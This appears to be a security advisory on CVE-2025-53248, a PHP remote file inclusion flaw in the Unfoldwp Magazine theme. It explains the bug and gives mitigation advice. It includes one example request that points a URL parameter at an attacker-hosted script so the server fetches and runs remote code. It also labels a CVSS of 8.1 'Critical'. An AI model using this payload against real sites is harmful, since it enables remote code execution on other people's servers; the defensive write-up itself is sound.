Overview
The widely used Unfoldwp Magazine platform is facing a significant cybersecurity threat with the discovery of the CVE-2025-53248 vulnerability. This specific vulnerability allows a breach through Improper Control of Filename for an Include/Require Statement in the PHP program, known as PHP Remote File Inclusion. The vulnerability is a serious concern as it opens the possibility for system compromise or data leakage, affecting users and businesses that rely on the Unfoldwp Magazine platform. It is, therefore, crucial to understand the nature of this vulnerability, its impact, and how to mitigate it.
Vulnerability Summary
CVE ID: CVE-2025-53248
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Unfoldwp Magazine | n/a through 1.2.2
How the Exploit Works
The vulnerability in question, CVE-2025-53248, is rooted in the PHP Remote File Inclusion (RFI). RFI is a type of vulnerability most often found in web applications that allows an attacker to include a remote file, usually through a script on the web server, which can lead to data leakage or even system compromise.
In this particular case, the Unfoldwp Magazine does not properly control the filename for Include/Require Statement in its PHP program, allowing an attacker to manipulate the PHP ‘include’ or ‘require’ functions and execute arbitrary PHP code on the target server. This can enable the attacker to gain unauthorized access to sensitive data, modify system configurations, or even take over the system.
Conceptual Example Code
Here is a conceptual example demonstrating how an attacker might exploit this vulnerability:
GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-unfoldwp.comIn this example, the attacker manipulates the ‘file’ parameter in the URL to point to a malicious PHP script hosted on their server (`http://attacker.com/malicious_script.txt`). When the request is processed by the Unfoldwp Magazine platform, the malicious script is executed, potentially leading to unauthorized actions being carried out on the server.
Mitigation Measures
Users of the affected Unfoldwp Magazine versions are strongly advised to apply the vendor patches as soon as they become available. In the meantime, consider employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can monitor and block suspicious activities, providing an additional layer of protection against potential exploits.
It is also recommended to regularly update and patch all software, and to follow best security practices such as least privilege principle and input validation to reduce the attack surface and protect against similar vulnerabilities in the future.
